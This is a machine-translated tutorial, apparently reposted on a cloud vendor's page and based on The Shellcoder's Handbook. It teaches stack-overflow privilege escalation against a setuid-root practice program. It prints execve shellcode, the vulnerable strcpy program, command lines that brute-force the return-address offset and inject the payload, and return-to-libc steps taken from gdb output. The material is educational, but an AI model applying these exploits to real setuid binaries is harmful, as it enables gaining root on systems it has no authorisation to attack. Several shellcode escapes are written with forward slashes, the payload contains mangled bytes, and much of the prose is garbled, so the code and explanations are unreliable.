Shellcode 2: Brief vulnerability Elevation of Privilege

Source: Internet
Author: User

Statement: The main content is from the shellcoder's handbook, which extracts Important Notes and adds some personal understanding. If there is something wrong, be sure to point it out.

Derived Shell
This type of overflow is generally used to obtain the root (UID 0) privilege. We can attack the process running with the root privilege to achieve this purpose. If a process runs at the root, we can force it to execute the shell through overflow, and this shell will inherit the root privilege, so we will also get the root shell. First, let's take a look at the derived shell.
//file: shell.c#include <stdio.h>int main(){    char *name[2];    name[0] = "/bin/sh";    name[1] = 0x0;    execve(name[0], name, 0x0);    exit(0);}

Compile and run it. We can see that the program derives a shell. On my system (Debian/etch), a shell named "Sh-3.1 $" is derived. This shell has no root privilege. Of course, shell without root privileges is not our purpose. I will introduce the shell with the root privilege later. The more basic principles are described here.

Inject shellcode into the stack buffer
We can only insert the machine instruction opcode into the buffer zone. To insert opcode into the buffer, you must compile the C code of the derived shell into an assembly instruction, and then extract opcode from the readable assembly instruction. These codes, known as shellcode or opcode, can inject and execute fragile buffers.

//file: shellcode.c//gcc -o shellcode shellcode.c -ggdb -mpreferred-stack-boundary=2#include <stdio.h>char shellcode[] = "/xeb/x1a/x5e/x31"                   "/xc0/x88/x46/x07"                   "/x8d/x1e/x89/x5e"                   "/x08/x89/x46/x0c"                   "/xb0/x0b/x89/xf3"                   "/x8d/x4e/x08/x8d"                   "/x56/x0c/xcd/x80"                   "/xe8/xe1/xff/xff"                   "/xff/x2f/x62/x69"                   "/x6e/x2f/x73/x68";                   int main(){    int *ret;    ret = (int *)&ret + 2;    (*ret) = (int)shellcode;}

The shellcode array stores the opcode of the derived shell. Here, no matter how C code is translated as opcode. How can we run shellcode? In fact, it is similar to the EIP control in stack overflow. Rewrite RET and save it as the address of the First Command of shellcode. In this case, when the RET stack is popped up and loaded to the EIP, the system will execute the first command of shellcode.

So how to understand ret = (int *) & RET + 2;
(* RET) = (INT) shellcode;
These two commands have changed ret? First, we will draw the stack data structure:

+ ------------- + Low memory address, stack top | + --------------- + | partial variable RET | & RET + --------------- + | EBP | & RET + 1 + --------------- + | RET | & RET + 2 + --------------- + | + --------------- + high memory address, stack bottom

This makes it clear that & RET + 2 points to the RET address.
Address Problems
When a user commits shellcode under the command line and tries to execute it, the most difficult problem is to find the starting address of shellcode.
There are many methods to find the starting address of shellcode in the memory. Let's start with the method of speculation. The stack of each program starts with the same address. In fact, the recent operating system has grsecurity patch intentionally changed the stack address, making this type of attack more difficult. If you know the address, you can guess the starting address of shellcode Based on the address. The following is a code for finding the ESP location. If you know the ESP address, you can guess the offset distance between the current address and shellcode.

//file: find_esp.c#include <stdio.h>unsigned long find_esp(){    __asm__("movl %esp, %eax");}int main(){    printf("0x%x/n", find_esp());}
Compile and run. If your system does not have the grsecurity patch, the printed ESP address is the same. If they are inconsistent, the following chapter explains how to avoid such random results. In the following example, a version with the consistent Stack pointer address is run. (Note: My system is Debian/Etch, and grsecurity patch should not be applied, but the addresses returned by running find_esp are not the same. It is estimated that 2.6kernel is exempt from certain rules .)
 
Use a simple program to practice and crack the program to obtain the root permission.
//file: victim.c#include <stdio.h>int main(int argc, char *argv[]){    char little_arr[512];    if (argc > 1)        strcpy(little_arr, argv[1]);}
After the program obtains the input from the command line, it copies the input data to the array without performing a boundary check. To obtain the root permission, set the owner of the target program to root, and then open the suid. Now, log on to the system as a normal user, crack the program, and finally obtain the root privilege.
sep@debian66:~/shellcode$ sudo chown root victimsep@debian66:~/shellcode$ sudo chmod +s victim

Then we can use the printf command again in Bash to put shellcode into the command parameters of the program. The first thing to do is to find the offset of the rewritten and saved return address (RET) in the command line string. In this example, the array size is 512, and we know that the offset is at least 512.

Quick notes on Bash and command substitution: You can enclose $ in front of printf and use parentheses to output it as a command line parameter. As follows:
./Victim $ (printf "foo ")
Make printf output a long string of zero, as shown below:
Printf "% 020x"; outputs 20 '0'. You can use this method to guess the offset of RET in victim:

sep@debian66:~/shellcode$ ./victim $(printf "%0512x" 0)sep@debian66:~/shellcode$ ./victim $(printf "%0516x" 0)sep@debian66:~/shellcode$ ./victim $(printf "%0520x" 0)sep@debian66:~/shellcode$ ./victim $(printf "%0524x" 0)Segmentation faultsep@debian66:~/shellcode$ ./victim $(printf "%0528x" 0)Segmentation fault
We can determine the length of the output segment fault. the offset of the saved return address may be between 524 and of the command line parameter ~ Between 528b. We have prepared the shellcode, which roughly knows where RET may be. Continue.
Shellcode has 40B. We then fill in the 480b or 484b, and then save the return address. Use find_esp to find the stack address of the program. Assume 0xbffffad8 here. The returned address saved should be slightly smaller than 0xbffffad8 because the stack grows down in the memory.

sep@debian66:~/shellcode$ ./victim $(printf "/xeb/x1a/x5e/x31/xc0/x88/x46/x07/x8d/x1e/x89/x5e/x08/x89/x46/x0c/xb/x0b/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/xe8/xe1/xff/xff/xff/x2f/x62/x69/x6e/x2f/x73/x68%0480x/xd8/xfa/xff/bf")Segmentation fault
Of course, it won't be so lucky to succeed once. The first part is shellcode; % 0480x is the padding byte;/xd8/xfa/xFF/BF is the rewritten ret, the first command address pointing to shellcode (actually the starting address of the array little_arr) is slightly smaller than/xd8/xfa/xFF/BF. The key here is to find the RET address offset and shellcode start address (that is, little_arr start address ). Here we use the method of speculation to determine this address. For details, see the original book p24.

NOP Method
It is troublesome to guess the offset. If the shellcode design allows us to control multiple different offsets, we can also reduce the time to guess. Optional. Use the NOP method to increase the number of potential offsets. No operations (NOP) is the instruction for delayed execution time. ia32 uses 0x90 to indicate NOP. To increase the hit rate, fill the shellcode header with NOP, so that as long as the estimated address is within the NOP range, the processor will execute the shellcode of the derived shell after the NOP is executed. Now, we don't have to worry about the exact offset.

Return libc to overhead the unexecutable Stack
Previously, commands were executed on the stack. However, some systems (such as Solaris and OpenBSD) cannot execute code on the stack. When such an unexecutable stack is encountered, the "return to libc" method is available.
Stack Overflow is used to send the Controller to the command on the stack, and the libc method is used to give control to specific dynamic library functions. Generally, libc is selected. For the cracking method that returns libc, just let it derive shell for simplicity. The best libc function is system (). Use/bin/sh as the sysytem () parameter. After the system executes system (), a shell is generated. In this way, you do not need to execute any code on the stack. You can directly give control to the system () function in libc.

First, execute call <func>. Call pushes the address of the next instruction to the stack and reduces esp by 4. When func returns, the RET (or EIP) Stack is popped up, So ESP points directly to the address after ret.
Now, the execution process should be redirected to the system () to be executed (). Func assumes that ESP has pointed to the address that should be returned, and assumes that the required parameter is waiting for it on the stack, and the first parameter is located after ret. Therefore, put the returned system () Address and parameters in 8 bytes. When func returns, the system returns to system (). Therefore, we need to determine: 1. System () address; 2./bin/sh address; 3. Exit () Address to exit the attacked program.

Disassemble any C/C ++ program, basically all can find the system () address in libc.

SEP @ debian66 :~ /Shellcode $ GDB. /victimgnu GDB 6.4.90-debiancopyright (c) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions. type "show copying" to see the conditions. there is absolutely no warranty for GDB. type "show warranty" for details. this GDB was configured as "i486-linux -GNU "... using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1 ". (GDB) Break mainbreakpoint 1 at 0x80483a2 (GDB) runstarting program:/home/SEP/shellcode/victim breakpoint 1, 0x080483a2 in main () (GDB) P system $1 ={< text variable, no debug info >}0xb7eba990 <system>; Address of system () (GDB) P exit $2 ={< text variable, no debug info >}0xb7eb02e0 <exit>; the exit () address (GDB) qthe program is running . Exit anyway? (Y or N) ysep @ debian66 :~ /Shellcode $

Finally, use the memfetch tool to find the/bin/sh address. You can also save/bin/sh in the environment variable and find the address of the variable.
The implementation steps are as follows:
1. Fill in the space between the buffer zone and the return address with junk data;
2. Rewrite RET with the address of system;
3. Fill in the exit () address after ret;
4. Enter the/bin/sh address.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.